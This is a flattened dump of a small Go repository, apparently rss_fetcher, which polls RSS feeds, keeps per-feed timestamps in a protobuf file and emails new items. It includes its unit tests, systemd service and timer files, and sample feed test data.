URL string `json:"url"` IgnoreWords []string `json:"ignorewords"` } func GetConfig(f string) (*Configuration, error) { if f == "" { return nil, fmt.Errorf("please provide a valid config file") } b, err := os.ReadFile(f) // nolint: gosec if err != nil { return nil, err } reader := bytes.NewReader(b) decoder := json.NewDecoder(reader) decoder.DisallowUnknownFields() c := Configuration{} if err = decoder.Decode(&c); err != nil { return nil, err } return &c, nil } ``` ## /internal/config/config_test.go ```go path="/internal/config/config_test.go" package config import ( "path" "testing" ) func TestGetConfig(t *testing.T) { c, err := GetConfig(path.Join("..", "..", "testdata", "test.json")) if err != nil { t.Fatalf("got error when reading config file: %v", err) } if c == nil { t.Fatal("got a nil config object") } } func TestGetConfigErrors(t *testing.T) { _, err := GetConfig("") if err == nil { t.Fatal("expected error on empty filename") } _, err = GetConfig("this_does_not_exist") if err == nil { t.Fatal("expected error on invalid file") } } func TestGetConfigInvalid(t *testing.T) { _, err := GetConfig(path.Join("..", "..", "testdata", "invalid.json")) if err == nil { t.Fatal("expected error when reading config file but got none") } } ``` ## /internal/database/database.go ```go path="/internal/database/database.go" package database import ( "fmt" "os" "github.com/FireFart/rss_fetcher/internal/config" "github.com/FireFart/rss_fetcher/internal/pb" log "github.com/sirupsen/logrus" "google.golang.org/protobuf/proto" ) func NewDatabase() *pb.Rss { return &pb.Rss{Feeds: make(map[string]int64)} } func ReadDatabase(database string) (*pb.Rss, error) { log.Debug("Reading database") // create database if needed if _, err := os.Stat(database); os.IsNotExist(err) { return NewDatabase(), nil } b, err := os.ReadFile(database) // nolint: gosec if err != nil { return nil, fmt.Errorf("could not read database %s: %v", database, err) } rssMsg := &pb.Rss{} if err := proto.Unmarshal(b, rssMsg); err != nil { return nil, fmt.Errorf("could not unmarshal database %s: %v", database, err) } return rssMsg, nil } func SaveDatabase(database string, r proto.Message) error { b, err := proto.Marshal(r) if err != nil { return fmt.Errorf("could not marshal database %s: %v", database, err) } if err := os.WriteFile(database, b, 0666); err != nil { return fmt.Errorf("could not write database %s: %v", database, err) } return nil } // removes old feeds from database func CleanupDatabase(r *pb.Rss, c config.Configuration) { urls := make(map[string]struct{}) for _, x := range c.Feeds { urls[x.URL] = struct{}{} } for url := range r.Feeds { // delete entry if not present in config file if _, ok := urls[url]; !ok { log.Debugf("Removing entry %q from database", url) delete(r.Feeds, url) } } } ``` ## /internal/database/database_test.go ```go path="/internal/database/database_test.go" package database import ( "fmt" "os" "path/filepath" "testing" "github.com/FireFart/rss_fetcher/internal/config" ) func TestNewDatabase(t *testing.T) { x := NewDatabase() if x.Feeds == nil { t.Fatal("Feed map is nil") } } func TestReadEmptyDatabase(t *testing.T) { r, err := ReadDatabase("") if err != nil { t.Fatalf("encountered error on reading database: %v", err) } if r == nil { t.Fatal("returned database is nil") } } func TestReadDatabase(t *testing.T) { r, err := ReadDatabase(filepath.Join("..", "..", "testdata", "rss.testdb")) if err != nil { t.Fatalf("encountered error on reading database: %v", err) } if r == nil { t.Fatal("returned database is nil") } } func TestReadInvalidDatabase(t *testing.T) { _, err := ReadDatabase(filepath.Join("..", "..", "testdata", "invalid.testdb")) if err == nil { t.Fatal("expected error but none returned") } } func TestSaveDatabase(t *testing.T) { d := NewDatabase() f, err := os.CreateTemp("", "testdb") if err != nil { t.Fatalf("could not create temp file: %v", err) } err = SaveDatabase(f.Name(), d) if err != nil { t.Fatalf("encountered error on writing database: %v", err) } } func TestCleanupDatase(t *testing.T) { initialLen := 5 var tt = []struct { testName string invalidEntries int }{ {"No invalid entries", 0}, {"1 invalid entry", 1}, {"3 invalid entries", 3}, {"300 invalid entries", 300}, } for _, x := range tt { t.Run(x.testName, func(t *testing.T) { d := NewDatabase() c := config.Configuration{} for i := 0; i < initialLen; i++ { url := fmt.Sprintf("test%d", i) d.Feeds[url] = int64(i) x := config.ConfigurationFeed{URL: url} c.Feeds = append(c.Feeds, x) } // add invalid feeds to database for i := 0; i < x.invalidEntries; i++ { url := fmt.Sprintf("invalid%d", i) d.Feeds[url] = int64(i) } CleanupDatabase(d, c) if len(d.Feeds) != initialLen { t.Fatalf("expected Feeds to have len %d, got %d", initialLen, len(d.Feeds)) } if len(d.Feeds) != len(c.Feeds) { t.Fatalf("expected Feeds to have same len as config %d, got %d", initialLen, len(d.Feeds)) } }) } } ``` ## /internal/feed/feed.go ```go path="/internal/feed/feed.go" package feed import ( "fmt" "net" "net/http" "time" "github.com/FireFart/rss_fetcher/internal/config" "github.com/FireFart/rss_fetcher/internal/helper" "github.com/FireFart/rss_fetcher/internal/mail" "github.com/mmcdole/gofeed" log "github.com/sirupsen/logrus" ) func FetchFeed(url string, timeout int) (*gofeed.Feed, error) { t := time.Duration(timeout) * time.Second netTransport := &http.Transport{ Dial: (&net.Dialer{ Timeout: t, }).Dial, TLSHandshakeTimeout: t, } fp := gofeed.NewParser() fp.Client = &http.Client{ Timeout: t, Transport: netTransport, } return fp.ParseURL(url) } func ProcessFeed(c config.Configuration, feedInput config.ConfigurationFeed, lastUpdate int64) (int64, error) { retVal := lastUpdate feed, err := FetchFeed(feedInput.URL, c.Timeout) if err != nil { return 0, fmt.Errorf("could not fetch feed %q: %v", feedInput.URL, err) } for _, item := range feed.Items { log.Debug(item.Title) if item.UpdatedParsed == nil && item.PublishedParsed == nil { log.Warnf("error in item for feed %s - no published or updated date", feedInput.Title) continue } var entryLastUpdated int64 if item.UpdatedParsed != nil { entryLastUpdated = item.UpdatedParsed.UnixNano() } else { entryLastUpdated = item.PublishedParsed.UnixNano() } if entryLastUpdated > lastUpdate { retVal = entryLastUpdated log.Infof("found entry in feed %q: %q - updated: %s, lastupdated: %s", feedInput.Title, item.Title, helper.TimeToString(time.Unix(0, entryLastUpdated)), helper.TimeToString(time.Unix(0, lastUpdate))) words := append(c.GlobalIgnoreWords, feedInput.IgnoreWords...) if shouldFeedBeIgnored(words, item) { log.Infof("ignoring entry %q in feed %q because of matched ignore word", item.Title, feedInput.Title) continue } err = mail.SendFeedItem(c, feedInput.Title, item) if err != nil { return 0, err } } else { log.Debugf("feed %q: skipping item %q because date is in the past - updated: %s, lastupdated: %s", feedInput.Title, item.Title, helper.TimeToString(time.Unix(0, entryLastUpdated)), helper.TimeToString(time.Unix(0, lastUpdate))) } } return retVal, nil } func shouldFeedBeIgnored(ignoreWords []string, feed *gofeed.Item) bool { if helper.StringMatches(feed.Title, ignoreWords) || helper.StringMatches(feed.Content, ignoreWords) || helper.StringMatches(feed.Description, ignoreWords) { return true } return false } ``` ## /internal/feed/feed_test.go ```go path="/internal/feed/feed_test.go" package feed import ( "fmt" "math" "net/http" "net/http/httptest" "os" "path/filepath" "testing" "github.com/FireFart/rss_fetcher/internal/config" ) func feedServer(t *testing.T, filename string) *httptest.Server { t.Helper() fullName := filepath.Join("..", "..", "testdata", filename) b, err := os.ReadFile(fullName) if err != nil { t.Fatalf("could not read file %s: %v", fullName, err) } content := string(b) ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { fmt.Fprint(w, content) })) return ts } func TestFetchFeed(t *testing.T) { ts := feedServer(t, "valid_feed.xml") defer ts.Close() _, err := FetchFeed(ts.URL, 10) if err != nil { t.Fatalf("got error when fetching feed: %v", err) } } func TestFetchFeedInvalid(t *testing.T) { ts := feedServer(t, "invalid_feed.xml") defer ts.Close() _, err := FetchFeed(ts.URL, 10) if err == nil { t.Fatalf("expected error but got none") } } func TestProcessFeed(t *testing.T) { ts := feedServer(t, "valid_feed.xml") defer ts.Close() c := config.Configuration{ Test: true, Timeout: 1, } input := config.ConfigurationFeed{ Title: "Title", URL: ts.URL, } // with mail _, err := ProcessFeed(c, input, 0) if err != nil { t.Fatalf("got error when fetching feed: %v", err) } // no mail _, err = ProcessFeed(c, input, math.MaxInt64) if err != nil { t.Fatalf("got error when fetching feed: %v", err) } } ``` ## /internal/helper/helper.go ```go path="/internal/helper/helper.go" package helper import ( "strings" "time" "github.com/FireFart/rss_fetcher/internal/config" "github.com/FireFart/rss_fetcher/internal/mail" log "github.com/sirupsen/logrus" ) func ProcessError(c config.Configuration, err error) { if err == nil { return } log.Error(err) if c.Mailonerror { err = mail.SendErrorMessage(c, err) if err != nil { log.Errorf("ERROR on sending error mail: %v", err) } } } func TimeToString(t time.Time) string { return t.Local().Format(time.ANSIC) } func StringMatches(s string, words []string) bool { if words == nil || len(s) == 0 { return false } for _, w := range words { if strings.Contains(s, w) { return true } } return false } ``` ## /internal/mail/mail.go ```go path="/internal/mail/mail.go" package mail import ( "bytes" "crypto/tls" "fmt" "strings" "github.com/FireFart/rss_fetcher/internal/config" "github.com/mmcdole/gofeed" log "github.com/sirupsen/logrus" gomail "gopkg.in/gomail.v2" ) func SendEmail(c config.Configuration, m *gomail.Message) error { log.Debug("sending mail") if c.Test { text, err := messageToString(m) if err != nil { return fmt.Errorf("could not print mail: %v", err) } log.Infof("[MAIL] %s", text) return nil } d := gomail.Dialer{Host: c.Mailserver, Port: c.Mailport} d.TLSConfig = &tls.Config{InsecureSkipVerify: true} // nolint: gosec return d.DialAndSend(m) } func SendErrorMessage(c config.Configuration, errorMessage error) error { log.Debug("sending error mail") m := gomail.NewMessage() m.SetHeader("From", c.Mailfrom) m.SetHeader("To", c.Mailtoerror) m.SetHeader("Subject", "ERROR in rss_fetcher") m.SetBody("text/plain", fmt.Sprintf("%v", errorMessage)) return SendEmail(c, m) } func SendFeedItem(c config.Configuration, title string, item *gofeed.Item) error { m := gomail.NewMessage() m.SetHeader("From", c.Mailfrom) m.SetHeader("To", c.Mailto) m.SetHeader("Subject", fmt.Sprintf("[RSS] [%s]: %s", title, item.Title)) m.SetBody("text/plain", feedToText(item, false)) m.AddAlternative("text/html", feedToText(item, true)) return SendEmail(c, m) } func messageToString(m *gomail.Message) (string, error) { buf := new(bytes.Buffer) _, err := m.WriteTo(buf) if err != nil { return "", fmt.Errorf("could not convert message to string: %v", err) } return buf.String(), nil } func feedToText(item *gofeed.Item, html bool) string { linebreak := "\n\n" if html { linebreak = "\n

\n" } var buffer bytes.Buffer if item.Link != "" { _, err := buffer.WriteString(fmt.Sprintf("%s%s", item.Link, linebreak)) if err != nil { return err.Error() } } if item.Description != "" { _, err := buffer.WriteString(fmt.Sprintf("%s%s", item.Description, linebreak)) if err != nil { return err.Error() } } if item.Content != "" { _, err := buffer.WriteString(fmt.Sprintf("%s%s", item.Content, linebreak)) if err != nil { return err.Error() } } return strings.TrimSuffix(buffer.String(), linebreak) } ``` ## /internal/mail/mail_test.go ```go path="/internal/mail/mail_test.go" package mail import ( "errors" "strings" "testing" "github.com/FireFart/rss_fetcher/internal/config" "github.com/mmcdole/gofeed" "gopkg.in/gomail.v2" ) func TestSendEmail(t *testing.T) { config := config.Configuration{Test: true} m := gomail.NewMessage() err := SendEmail(config, m) if err != nil { t.Fatalf("error returned: %v", err) } } func TestSendErrorMessage(t *testing.T) { config := config.Configuration{ Test: true, Mailfrom: "from@mail.com", Mailonerror: true, Mailtoerror: "to@mail.com", } e := errors.New("test") err := SendErrorMessage(config, e) if err != nil { t.Fatalf("error returned: %v", err) } } func TestSendFeedItem(t *testing.T) { config := config.Configuration{ Test: true, Mailfrom: "from@mail.com", Mailonerror: true, Mailtoerror: "to@mail.com", } i := gofeed.Item{} err := SendFeedItem(config, "Title", &i) if err != nil { t.Fatalf("error returned: %v", err) } } func TestFeedToText(t *testing.T) { item := gofeed.Item{} item.Description = "Description" item.Link = "Link" item.Content = "Content" x := feedToText(&item, false) if !strings.Contains(x, "Description") { t.Fatal("missing description in feed text") } if !strings.Contains(x, "Link") { t.Fatal("missing link in feed text") } if !strings.Contains(x, "Content") { t.Fatal("missing content in feed text") } x = feedToText(&item, true) if !strings.Contains(x, "

") { t.Fatal("missing html line break in feed text") } } ``` ## /internal/pb/rss.pb.go ```go path="/internal/pb/rss.pb.go" // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.36.6 // protoc v6.30.2 // source: rss.proto package pb import ( protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" unsafe "unsafe" ) const ( // Verify that this generated code is sufficiently up-to-date. _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) // Verify that runtime/protoimpl is sufficiently up-to-date. _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) type Rss struct { state protoimpl.MessageState `protogen:"open.v1"` LastRun int64 `protobuf:"varint,1,opt,name=LastRun,proto3" json:"LastRun,omitempty"` Feeds map[string]int64 `protobuf:"bytes,2,rep,name=Feeds,proto3" json:"Feeds,omitempty" protobuf_key:"bytes,1,opt,name=key" protobuf_val:"varint,2,opt,name=value"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } func (x *Rss) Reset() { *x = Rss{} mi := &file_rss_proto_msgTypes[0] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } func (x *Rss) String() string { return protoimpl.X.MessageStringOf(x) } func (*Rss) ProtoMessage() {} func (x *Rss) ProtoReflect() protoreflect.Message { mi := &file_rss_proto_msgTypes[0] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Rss.ProtoReflect.Descriptor instead. func (*Rss) Descriptor() ([]byte, []int) { return file_rss_proto_rawDescGZIP(), []int{0} } func (x *Rss) GetLastRun() int64 { if x != nil { return x.LastRun } return 0 } func (x *Rss) GetFeeds() map[string]int64 { if x != nil { return x.Feeds } return nil } var File_rss_proto protoreflect.FileDescriptor const file_rss_proto_rawDesc = "" + "\n" + "\trss.proto\x12\x03rss\"\x84\x01\n" + "\x03Rss\x12\x18\n" + "\aLastRun\x18\x01 \x01(\x03R\aLastRun\x12)\n" + "\x05Feeds\x18\x02 \x03(\v2\x13.rss.Rss.FeedsEntryR\x05Feeds\x1a8\n" + "\n" + "FeedsEntry\x12\x10\n" + "\x03key\x18\x01 \x01(\tR\x03key\x12\x14\n" + "\x05value\x18\x02 \x01(\x03R\x05value:\x028\x01B\rZ\vinternal/pbb\x06proto3" var ( file_rss_proto_rawDescOnce sync.Once file_rss_proto_rawDescData []byte ) func file_rss_proto_rawDescGZIP() []byte { file_rss_proto_rawDescOnce.Do(func() { file_rss_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_rss_proto_rawDesc), len(file_rss_proto_rawDesc))) }) return file_rss_proto_rawDescData } var file_rss_proto_msgTypes = make([]protoimpl.MessageInfo, 2) var file_rss_proto_goTypes = []any{ (*Rss)(nil), // 0: rss.Rss nil, // 1: rss.Rss.FeedsEntry } var file_rss_proto_depIdxs = []int32{ 1, // 0: rss.Rss.Feeds:type_name -> rss.Rss.FeedsEntry 1, // [1:1] is the sub-list for method output_type 1, // [1:1] is the sub-list for method input_type 1, // [1:1] is the sub-list for extension type_name 1, // [1:1] is the sub-list for extension extendee 0, // [0:1] is the sub-list for field type_name } func init() { file_rss_proto_init() } func file_rss_proto_init() { if File_rss_proto != nil { return } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: unsafe.Slice(unsafe.StringData(file_rss_proto_rawDesc), len(file_rss_proto_rawDesc)), NumEnums: 0, NumMessages: 2, NumExtensions: 0, NumServices: 0, }, GoTypes: file_rss_proto_goTypes, DependencyIndexes: file_rss_proto_depIdxs, MessageInfos: file_rss_proto_msgTypes, }.Build() File_rss_proto = out.File file_rss_proto_goTypes = nil file_rss_proto_depIdxs = nil } ``` ## /proto/rss.proto ```proto path="/proto/rss.proto" syntax = "proto3"; package rss; option go_package = "internal/pb"; message Rss { int64 LastRun = 1; map Feeds = 2; } ``` ## /rss_fetcher.service ```service path="/rss_fetcher.service" [Unit] Description=RSS Fetcher Wants=network-online.target After=network.target network-online.target [Service] User=rss Group=nogroup SyslogIdentifier=rss ExecStart=/home/rss/rss_fetcher -config /home/rss/config.json Restart=no [Install] WantedBy=multi-user.target ``` ## /rss_fetcher.timer ```timer path="/rss_fetcher.timer" [Unit] Description=RSS Fetcher Timer [Timer] OnBootSec=15min OnCalendar=hourly Persistent=true [Install] WantedBy=timers.target ``` ## /testdata/invalid.json ```json path="/testdata/invalid.json" I am an invalid JSON file ``` ## /testdata/invalid.testdb ```testdb path="/testdata/invalid.testdb" Ւ��賥, Ճ�� ``` ## /testdata/invalid_feed.xml ```xml path="/testdata/invalid_feed.xml" I am an> invalid ", "mailto": "People ", "mailonerror": false, "mailtoerror": "c@c.com", "database": "rss.db", "globalignorewords": ["ignore1", "ignore2"], "feeds": [{ "title": "test", "url": "http://feedforall.com/sample.xml", "ignorewords": ["ignore1", "ignore2"] }] } ``` ## /testdata/valid_feed.xml ```xml path="/testdata/valid_feed.xml" FeedForAll Sample Feed RSS is a fascinating technology. The uses for RSS are expanding daily. Take a closer look at how various industries are using the benefits of RSS in their businesses. http://www.feedforall.com/industry-solutions.htm Computers/Software/Internet/Site Management/Content Management Copyright 2004 NotePage, Inc. http://blogs.law.harvard.edu/tech/rss en-us Tue, 19 Oct 2004 13:39:14 -0400 marketing@feedforall.com Tue, 19 Oct 2004 13:38:55 -0400 webmaster@feedforall.com FeedForAll Beta1 (0.0.1.8) http://www.feedforall.com/ffalogo48x48.gif FeedForAll Sample Feed http://www.feedforall.com/industry-solutions.htm FeedForAll Sample Feed 48 48 RSS Solutions for Restaurants <b>FeedForAll </b>helps Restaurant's communicate with customers. Let your customers know the latest specials or events.<br> <br> RSS feed uses include:<br> <i><font color="#FF0000">Daily Specials <br> Entertainment <br> Calendar of Events </i></font> http://www.feedforall.com/restaurant.htm Computers/Software/Internet/Site Management/Content Management http://www.feedforall.com/forum Tue, 19 Oct 2004 11:09:11 -0400 RSS Solutions for Schools and Colleges FeedForAll helps Educational Institutions communicate with students about school wide activities, events, and schedules.<br> <br> RSS feed uses include:<br> <i><font color="#0000FF">Homework Assignments <br> School Cancellations <br> Calendar of Events <br> Sports Scores <br> Clubs/Organization Meetings <br> Lunches Menus </i></font> http://www.feedforall.com/schools.htm Computers/Software/Internet/Site Management/Content Management http://www.feedforall.com/forum Tue, 19 Oct 2004 11:09:09 -0400 RSS Solutions for Computer Service Companies FeedForAll helps Computer Service Companies communicate with clients about cyber security and related issues. <br> <br> Uses include:<br> <i><font color="#0000FF">Cyber Security Alerts <br> Specials<br> Job Postings </i></font> http://www.feedforall.com/computer-service.htm Computers/Software/Internet/Site Management/Content Management http://www.feedforall.com/forum Tue, 19 Oct 2004 11:09:07 -0400 RSS Solutions for Governments FeedForAll helps Governments communicate with the general public about positions on various issues, and keep the community aware of changes in important legislative issues. <b><i><br> </b></i><br> RSS uses Include:<br> <i><font color="#00FF00">Legislative Calendar<br> Votes<br> Bulletins</i></font> http://www.feedforall.com/government.htm Computers/Software/Internet/Site Management/Content Management http://www.feedforall.com/forum Tue, 19 Oct 2004 11:09:05 -0400 RSS Solutions for Politicians FeedForAll helps Politicians communicate with the general public about positions on various issues, and keep the community notified of their schedule. <br> <br> Uses Include:<br> <i><font color="#FF0000">Blogs<br> Speaking Engagements <br> Statements<br> </i></font> http://www.feedforall.com/politics.htm Computers/Software/Internet/Site Management/Content Management http://www.feedforall.com/forum Tue, 19 Oct 2004 11:09:03 -0400 RSS Solutions for Meteorologists FeedForAll helps Meteorologists communicate with the general public about storm warnings and weather alerts, in specific regions. Using RSS meteorologists are able to quickly disseminate urgent and life threatening weather warnings. <br> <br> Uses Include:<br> <i><font color="#0000FF">Weather Alerts<br> Plotting Storms<br> School Cancellations </i></font> http://www.feedforall.com/weather.htm Computers/Software/Internet/Site Management/Content Management http://www.feedforall.com/forum Tue, 19 Oct 2004 11:09:01 -0400 RSS Solutions for Realtors & Real Estate Firms FeedForAll helps Realtors and Real Estate companies communicate with clients informing them of newly available properties, and open house announcements. RSS helps to reach a targeted audience and spread the word in an inexpensive, professional manner. <font color="#0000FF"><br> </font><br> Feeds can be used for:<br> <i><font color="#FF0000">Open House Dates<br> New Properties For Sale<br> Mortgage Rates</i></font> http://www.feedforall.com/real-estate.htm Computers/Software/Internet/Site Management/Content Management http://www.feedforall.com/forum Tue, 19 Oct 2004 11:08:59 -0400 RSS Solutions for Banks / Mortgage Companies FeedForAll helps <b>Banks, Credit Unions and Mortgage companies</b> communicate with the general public about rate changes in a prompt and professional manner. <br> <br> Uses include:<br> <i><font color="#0000FF">Mortgage Rates<br> Foreign Exchange Rates <br> Bank Rates<br> Specials</i></font> http://www.feedforall.com/banks.htm Computers/Software/Internet/Site Management/Content Management http://www.feedforall.com/forum Tue, 19 Oct 2004 11:08:57 -0400 RSS Solutions for Law Enforcement <b>FeedForAll</b> helps Law Enforcement Professionals communicate with the general public and other agencies in a prompt and efficient manner. Using RSS police are able to quickly disseminate urgent and life threatening information. <br> <br> Uses include:<br> <i><font color="#0000FF">Amber Alerts<br> Sex Offender Community Notification <br> Weather Alerts <br> Scheduling <br> Security Alerts <br> Police Report <br> Meetings</i></font> http://www.feedforall.com/law-enforcement.htm Computers/Software/Internet/Site Management/Content Management http://www.feedforall.com/forum Tue, 19 Oct 2004 11:08:56 -0400 ``` The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.